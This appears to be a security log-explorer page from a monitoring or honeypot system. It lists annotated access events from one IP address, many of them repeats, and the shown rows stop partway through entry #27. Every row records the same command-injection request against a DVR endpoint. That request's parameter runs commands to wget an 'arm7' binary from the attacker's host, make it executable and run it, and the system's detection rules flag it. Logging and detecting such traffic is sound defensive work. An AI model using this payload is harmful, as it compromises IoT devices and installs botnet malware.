Log Explorer

Fact drill-down for 104.167.221.114

Risk 35 MED Scope All time All-time facts 113 In-scope 113 Filtered 113 Seen 2025-05-30 → 2025-06-21

Reset (all-time)

Active (none) Clear

Faceted filters (facts-based) exact core + snapshot + optional start/end

Annotation facets

HTTP facets

Snapshot facets

Custom time window (optional override)

Provide start/end to scope time explicitly (overrides days). Leave blank for all-time.

Tip: keep windows tight when you need speed, but the default is fact-complete.

Top annotators (facts, in-scope)

cmdi 42 base 40 ua 17 sfp 14

Top labels (facts, in-scope)

cmdi 42 observed 40 ua 17 sensitive_file 14

Click a pill to apply it as a filter.

Annotated access events

Showing page 1 / 3 — total 113 rows

← Prev Next →

#1 2025-06-21 06:51:26 event 8740064 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#2 2025-06-21 06:51:26 event 8740064 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

event observed

details

—

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#3 2025-06-21 06:51:26 event 8740064 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

Encoded command separator/newline inside suspicious parameter context. Snippet='?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#4 2025-06-21 06:51:26 event 8740064 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='ys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm arm7; wget http://104.167.221.114/arm7; chmod 777 *; ./arm7 tbkdvr -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#5 2025-06-21 06:51:26 event 8740064 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='ys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm arm7; wget http://104.167.221.114/arm7; chmod 777 *; ./arm7 tbkdvr -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#6 2025-06-19 23:14:09 event 8048306 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#7 2025-06-19 23:14:09 event 8048303 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#8 2025-06-19 23:14:09 event 8048300 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#9 2025-06-19 23:14:09 event 8048306 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#10 2025-06-19 23:14:09 event 8048306 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#11 2025-06-19 23:14:09 event 8048306 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#12 2025-06-19 23:14:09 event 8048303 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#13 2025-06-19 23:14:09 event 8048303 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#14 2025-06-19 23:14:09 event 8048303 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#15 2025-06-19 23:14:09 event 8048300 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#16 2025-06-19 23:14:09 event 8048300 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#17 2025-06-19 23:14:09 event 8048300 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#18 2025-06-19 23:14:09 event 8048306 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

event observed

details

—

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#19 2025-06-19 23:14:09 event 8048303 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

event observed

details

—

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#20 2025-06-19 23:14:09 event 8048300 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

event observed

details

—

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#21 2025-06-19 22:27:43 event 7914709 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#22 2025-06-19 22:27:43 event 7914708 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#23 2025-06-19 22:27:43 event 7914709 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#24 2025-06-19 22:27:43 event 7914709 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#25 2025-06-19 22:27:43 event 7914709 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#26 2025-06-19 22:27:43 event 7914708 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#27 2025-06-19 22:27:43 event 7914708 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

